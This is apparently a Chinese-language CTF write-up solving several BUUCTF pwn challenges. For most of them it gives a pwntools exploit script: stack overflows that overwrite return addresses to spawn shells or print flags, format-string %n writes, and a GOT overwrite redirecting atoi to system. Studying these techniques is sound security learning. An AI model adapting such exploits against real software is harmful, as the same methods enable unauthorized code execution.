目录
1. test_your_nc(简单nc )
pwn做题过程
2. rip(简单栈溢出)
3. warmup_csaw_2016(栈溢出 覆盖Return_Address)
4. ciscn_2019_n_1(栈溢出 浮点数十六进制)
(1) 覆盖v2值
(2) 利用system("cat /flag");
5. pwn1_sctf_2016(字符逃逸栈溢出 32位)
6. jarvisoj_level0(栈溢出 )
7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)
做法一:格式化字符串漏洞
修改内存
做法二:read将atoi_got改为system_plt
ubuntu 下载 pwntools
1. test_your_nc(简单nc )
下载下来test文件 拖入IDA 说不支持,让用64
在拖入IDA 64中
按下shift+f12,打开string window,
发现/bin/sh
双击/bin/sh, 鼠标点击command,再按键盘X,发现/bin/sh的address在main函数里
点击option->general,勾选相应选项可方便看代码,具体如下:
变成了一行一行的
再按F5 发现main函数很简单,就是单纯system函数直接调用了/bin/sh,所以直接nc就行.
所以我们打开kali
nc node4.buuoj.cn:28180
nc即netcat,也被称为瑞士军刀,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等
web打靶场的时候有时候反弹shell用到
nc ip地址 ip端口
ls 发现flag cat flag得到flag
pwn做题过程
1. 拿到题目附件,将它在对应的操作系统环境下打开(一般来说是ubuntu)。先执行一下,了解一下程序的大致运行结果。
2. checksec命令,了解程序的保护方式。针对不同的保护方式,大致了解题目的难度等级。(萌萌新的题目应该大多是没有任何保护的,但是之后的很多题都会附加很多复杂的保护)
3. 用ida打开题目,对题目进行一个程序逻辑的逆向。
4. 通过逆向找到程序的漏洞点。
5. 思考漏洞利用方式,并开始编写脚本(适当时动态调试辅助脚本编写)。
6. 脚本编写完成后,先在本地尝试getshell。成功的话连接远程拿flag
2. rip(简单栈溢出)
下载 得到一个无后缀pwn1文件 应该是elf文件
checksec查看文件保护
file 查看文件 是64位的 IDA 64打开
main函数F5查看伪代码之后,得到 发现危险函数gets,可以判断存在栈溢出漏洞
fun函数这里发现 system("/bin/sh");
接下来思路就清晰了,我们需要利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数
函数的局部变量会存放在他的栈中,那么在main函数中,我们双击s变量,查看s分配了多少空间
这里可以使用gbd动态调试,也可以简单点直接算
0x0-(-0x0f)=0xf
是15个字节的空间,也就是在main函数的栈帧中,给s划分了一个15字节的存储空间 偏移量为15
因为是64位的EIF文件,所以rbp是8个字节(基础知识)
CTF PWN基础知识(寄存器、栈、汇编指令、标志位)详解_cl寄存器_游走来回的博客-CSDN博客
那么我们还需要8个自己的数据把Caller’s rbp的数据填满(当然在本题中应该是rbp,因为是64位的系统),这样可以溢出进入Return
Address了,所以接下来我们输入Return
Address(返回地址),也就是说,也就是fun函数的地址,地址我们可以看到是0x401186
from pwn import *
p=remote("node4.buuoj.cn",28419) #靶机地址和端口
payload = b'a' * 23 + p64(0x40118A)
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流) 不+1拿不到 问了问队里大佬,是libc版本问题 2.23就好了
# 也可以直接传入 执行/bin/sh时的地址 ex40118A
p.sendline(payload)
p.interactive()
执行cat /flag 得到flag
3. warmup_csaw_2016(栈溢出 覆盖Return_Address)
ret2system ret2text
与rip 类似
checksec看一下文件保护模式:
64位小端序文件
IDA64 打开 分析一下
shift+F12 发现 cat flag.txt 跟进查找 在 sub_40060D() 函数里
main() 函数里 看见gets() 函数 存在栈溢出
计算偏移数
gets函数向v5输入数据,因为gets不限制长度,所以构成溢出,这里的[rbp-40h]表示输入点距离rbp寄存器的偏移为40h,而64位文件 rbp占8个字节。rbp自己还要占用8个偏移,因此从输入点到返回地址的偏移为40h+8h=48h 然后才会覆盖掉 Return Address
覆盖Return Address为 sub_40060D() 函数 地址 0x40060D
poc如下:
from pwn import *
p = remote("node4.buuoj.cn",27973)
payload = b"a" * 0x48 + p64(0x040060D)
p.sendline(payload)
p.interactive()
4. ciscn_2019_n_1(栈溢出 浮点数十六进制)
checksec查看文件保护
没有保护机制
IDA 分析一下
看见 func函数里 存在 gets(&v1); 存在栈溢出
(1) 覆盖v2值
然后进行一个判断 如果 v2==11.28125 就执行 system("cat /flag");
双击func()函数查看汇编代码时,可以看见有一个分支 系统调用
双击进 dword_4007F4
可以看到 11.28125在内存中的16进制表示为0x41348000
因此 我们只需要计算出 偏移数 溢出覆盖v2为 0x41348000即可
偏移计算
也可以双击v1 v2 进去。v1在var_30 v2在var_4
所以偏移为:0x30-0x04 = 0x2C
from pwn import *
p = remote("node4.buuoj.cn",29426) #remote建立远程连接
# p = process("./ciscn_2019_n_1") 本地运行
payload = b"a" * 0x2C + p64(0x41348000)
p.sendline(payload)
p.interactive()
(2) 利用system("cat /flag");
还有一种方法,我们可以 覆盖Return Address 为 if里的 system("cat /flag");地址。 从而跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)
这里可以看到 cat /flag的地址为 0x4006BE
poc如下:
from pwn import *
p = remote("node4.buuoj.cn",29426)
payload = b"a" * (0x30+0x08) + p64(0x4006BE)
# v1到rbp的偏移量 0x30 + rbp本身8个字节 + cat /flag的地址
p.sendline(payload)
p.interactive()
5. pwn1_sctf_2016(字符逃逸栈溢出 32位)
checksec 查看保护程序
file查看文件 32位ELF文件
导入到 IDA32中 看见vuln()函数,反汇编一下
发现fgets()函数限制输入32个字节到变量s中
虽然 限制了输入32个字节,但是我们可以看到 在 replace((std::string *)&v3); 这里的relpace函数他会 将 I 替换为 you 1字节变三字节 这里可以逃逸出两个字节(有点类似web里的反序列化逃逸原理)
后面 还会 strcpy(&s, v0); 重新给 s赋值 因此我们可以利用这个 replace 去 栈溢出 覆盖Return Address
偏移计算
r为返回地址处 所以偏移量:0x3C + ebp的四个字节 = 0x40 即 64个字节
每个I可以被替换成you,所以输入21个I 和一个 a 就能让栈溢出 再加上要覆盖Return Address的函数地址即可
找危险函数
get_flag()函数里 会执行 system("cat flag.txt");可以得到flag 起始地址为:0x8048F0D
poc如下:
from pwn import *
p = remote("node4.buuoj.cn",27622)
payload = b"I" * 21 + b'a' + p32(0x8048F0D)
p.sendline(payload)
p.interactive()
6. jarvisoj_level0(栈溢出 )
和上五道题一样。。。 无保护程序 找偏移量 找危险函数 溢出覆盖Return Address
checksec 查看文件保护
file 查看文件属性 64位ELF文件
IDA64打开 分析一下
vulnerable_function() 里有一个 buf字符数组,栈里长度 0x80h 但是read读可以读0x200 存在栈溢出
偏移计算
偏移量:0x80 + rbp的8个字节 = 0x88
找危险函数
callsystem()函数这里会执行 /bin/sh
因此 通过栈溢出让函数返回地址为 callsystem()的起始地址即可
callsystem()的起始地址为:0x400596
7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)
checksec 查看文件保护 没开启 (看别人wp发现都说开启了 canar 难道是我checksec的问题吗)
file查看文件属性 是32位的ELF文件
后面在ubuntu里执行python脚本时 发现开启了canary
载入IDA32 分析
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]
v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf); //存在格式化字符串漏洞
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh"); //满足条件 则拿到shell
}
else
{
puts("fail");
}
}
把随机数放入到0x804c044处,用户输入用户名和密码,如果密码和随机数相等 拿到shell
但是因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell
这里有两种办法:
- 格式化字符串漏洞 利用第一个 read 将
0x804C044
地址改写为一个确定的值,再往密码输入这个值 - 利用第一个read将
atoi_got
改为system_plt
,再send/bin/sh\x00
,使得程序在本该执行atoi
的地方执行system("/bin/sh")
,从而获得shell (这个还没学到)
做法一:格式化字符串漏洞
我们利用格式化字符串看看 输入的内容在第几位上会被解释成格式化字符串
首先我们先利用利用AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x的形式来计算偏移量:
第十个输出正是 41414141 所以偏移量为10
格式化字符串介绍:
知道偏移量后,那我们怎么利用 去修改dword_804c044的值呢?
可参考:格式化字符串漏洞_as1r_p的博客-CSDN博客
%d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数
当然,功能也不仅限于控制显示的数据类型,还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串(打印长度为n)
特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节
关于$符号
写入:%<数值>c%<正整数>$ <类型>
%44c%5$hn 就是向第 5 个参数写入 44 这个数值。
读取:%<正整数n>$ <数据类型>,指定占位符对应的第n个参数,例如 %8$x 就是以 x 格式读第 8 个参数的值
举例:
printf("%10c%n",65,0x41414141);
打印9个空格加上一个A,所以会往地址0x41414141处写入10(4字节)
printf("%1234c%hhn",65,0x41414141);
因为1234=0x4D2,所以会往地址0x41414141处写入0xD2(1字节)
修改内存
在格式化字符串中 有一个 特殊的格式化控制符 “%n”,"%hn" "%hhn"也可以。%n可以将已经输出的字节个数 写入到 指定的(偏移处的值) 的地址中,配合$直接修改第几个参数来修改想要修改地址的值
用法:%修改数据c%偏移$n
因此,我们要更改 0x0804c044地址的值 可以把 0x0804c044 输入到 第十个参数
比如之前我们输入 AAAA 第十个参数值为:41414141 这里我们输入 0x440xc00x040x08 小端序
然后 后面跟%10%n (%偏移%n) 可以将字节个数4 写入到 0x0804c044地址 里
poc如下:
from pwn import *
p = remote("node4.buuoj.cn",28357)
payload = p32(0x0804c044) + b'%10$n'
# payload = fmtstr_payload(10,{0x804C044:0x4}) fmtstr_payload()是可用于格式化字符串漏洞的函数
#pwntools自带的格式化字符串漏洞payload构建工具——fmtstr_payload
p.recvuntil('your name:') #与shell进行交互
p.sendline(payload)
p.recvuntil("your passwd:")
p.sendline('4')
p.interactive()
还有一种 不用%n 而是用%hhn 可以逐字节写 可以学习一下思路
from pwn import *
io = process("./pwn")
#一个p32生成的数据是4个字节,4个一共是16字节
payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047)
# 在原本存储随机数的内存地址上逐个写入0x10(十进制16),这样就使原本随机的密码变成已知
payload += "%10$hhn%11$hhn%12$hhn%13$hhn"
io.sendlineafter("your name:", payload)
io.recvuntil("passwd:")
io.sendline(str(0x10101010))
io.interactive()
pwntools也自带的格式化字符串漏洞payload构建工具——fmtstr_payload() 参数是(偏移,{地址:值})
做法二:read将atoi_got
改为system_plt
from pwn import *
io = process("./pwn")
elf = ELF("./pwn")
atoi_got = elf.got['atoi']
sys_plt = elf.plt['system']
offset = 10
payload = fmtstr_payload(offset, {atoi_got : sys_plt})
io.sendlineafter("name:", payload)
io.sendlineafter("passwd:", "/bin/sh\x00")
io.interactive()
参考:BUU_[第五空间2019 决赛]PWN5 - Yic's Blog
ubuntu 下载 pwntools
pip在下载时会有问题,报错: sys.stderr.write(f"ERROR: {exc}")
解决方法:
wget https://bootstrap.pypa.io/pip/3.5/get-pip.py
下载完成后执行下面的命令
python3 get-pip.py
pip 下载pwntools
pip install pwntools
python3 -m pip install --upgrade pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple
安装 pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
pwntools报错“NameError: name 'process' is not defined”
修改python脚本文件名 不是pwn即可
换更新源
Ubuntu16.4关于apt功能update忽略所有文件问题的解决方案_安装apt-get一直忽略_僚机武士的博客-CSDN博客